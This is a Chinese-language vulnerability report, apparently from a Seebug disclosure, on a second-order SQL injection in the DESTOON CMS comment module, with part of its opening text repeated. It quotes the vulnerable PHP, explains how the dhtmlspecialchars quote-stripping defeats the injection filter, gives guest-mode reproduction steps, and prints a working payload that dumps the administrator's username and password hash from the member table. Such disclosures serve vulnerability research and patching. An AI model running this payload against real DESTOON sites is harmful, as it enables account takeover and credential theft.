### 简要描述: DESTOON sql注入漏洞 ### 详细说明: 一枚二次注入,因为使用了dhtmlspecialchars导致防注入失效。可以任意数据。 先来看留言模块: \module\extend\comment.inc.php ``` $item = $db->get_one("SELECT title,linkurl,username,status FROM ".get_table($mid)." WHERE itemid=$itemid"); //从数据库中取出对于模块的发布数据 $item or exit; $item['status'] > 2 or exit; $linkurl = $MODULE[$mid]['linkurl'].$item['linkurl']; $template = $message = $forward = ''; $username = $item['username']; $title = $item['title']; //看这里 我们这个标题是可以控制的 而且没有转义。 再看看下面 $title有没有被带入数据库中。 $could_del = false; ``` 在这个文件的130行有这样一句 ``` $db->query("INSERT INTO {$DT_PRE}comment (item_mid,item_id,item_title,item_username,content,quotation,qid,addtime,username,hidden,star,ip,status) VALUES ('$mid','$itemid','$title','$username','$content','$quotation','$qid','$DT_TIME','$_username','$hidden','$star','$DT_IP','$status')"); 看见没有 $title被带入数据库中。但是有一点.item_username 接着title的后面,这个用户名基本不可控制,但是如果他item_username 为空的话那就可以了,这个发布的东西是允许游客发送的 所以在游客状态下 item_username 就为空,后面的$content我们又刚好可以控制。所以导致了注入的发生。...
### 简要描述: DESTOON sql注入漏洞 ### 详细说明: 一枚二次注入,因为使用了dhtmlspecialchars导致防注入失效。可以任意数据。 先来看留言模块: \module\extend\comment.inc.php ``` $item = $db->get_one("SELECT title,linkurl,username,status FROM ".get_table($mid)." WHERE itemid=$itemid"); //从数据库中取出对于模块的发布数据 $item or exit; $item['status'] > 2 or exit; $linkurl = $MODULE[$mid]['linkurl'].$item['linkurl']; $template = $message = $forward = ''; $username = $item['username']; $title = $item['title']; //看这里 我们这个标题是可以控制的 而且没有转义。 再看看下面 $title有没有被带入数据库中。 $could_del = false; ``` 在这个文件的130行有这样一句 ``` $db->query("INSERT INTO {$DT_PRE}comment (item_mid,item_id,item_title,item_username,content,quotation,qid,addtime,username,hidden,star,ip,status) VALUES ('$mid','$itemid','$title','$username','$content','$quotation','$qid','$DT_TIME','$_username','$hidden','$star','$DT_IP','$status')"); 看见没有 $title被带入数据库中。但是有一点.item_username 接着title的后面,这个用户名基本不可控制,但是如果他item_username 为空的话那就可以了,这个发布的东西是允许游客发送的 所以在游客状态下 item_username 就为空,后面的$content我们又刚好可以控制。所以导致了注入的发生。 ``` 接下来就是要绕过防注入了.. 看这个文件的第95行导致防注入函数失效。 $content = dhtmlspecialchars(trim($content)); ``` function dhtmlspecialchars($string) { if(is_array($string)) { return array_map('dhtmlspecialchars', $string); } else { if(defined('DT_ADMIN')) { return str_replace(array('&'), array('&'), htmlspecialchars($string, ENT_QUOTES)); } else { return str_replace(array('&', '"', '"', '"'), array('&', '', '', ''), htmlspecialchars($string, ENT_QUOTES)); } } } ``` 看见没有 " " " 分别把这三个替换成空了的. 那我们直接提交 这个 SEL"ECT 即可无限制注射。首先得发布一个东西,名字写的正常一点就可以通过了。 ### 漏洞证明: 发布一个东西,注意了 信息标题最后一个必须为 反斜杠才行。 不能在登录状态发东西,必须为游客状态 url http://127.0.0.1:8081/php/destoon/member/my.php?mid=5 [<img src="https://images.seebug.org/upload/201507/24202640e3bdf68fdfe8a1308972c5f964654eb0.png" alt="QQ截图20150724202540.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/24202640e3bdf68fdfe8a1308972c5f964654eb0.png) 通过之后 我们直接留言 exp: ``` ,1,1,(SEL"ECT conc"at(username,0"x7c,password) FR"OM destoon_member WH"ERE admin=1 LIMIT 1),1,1,1,1,1,1,3)# ``` [<img src="https://images.seebug.org/upload/201507/24202816232c4a8f20c747ffdf4c75dcc686955e.png" alt="QQ截图20150724202711.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/24202816232c4a8f20c747ffdf4c75dcc686955e.png) [<img src="https://images.seebug.org/upload/201507/242028269417a4407f9a0f9ac4fd9077b54cd9f3.png" alt="QQ截图20150724202718.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201507/242028269417a4407f9a0f9ac4fd9077b54cd9f3.png)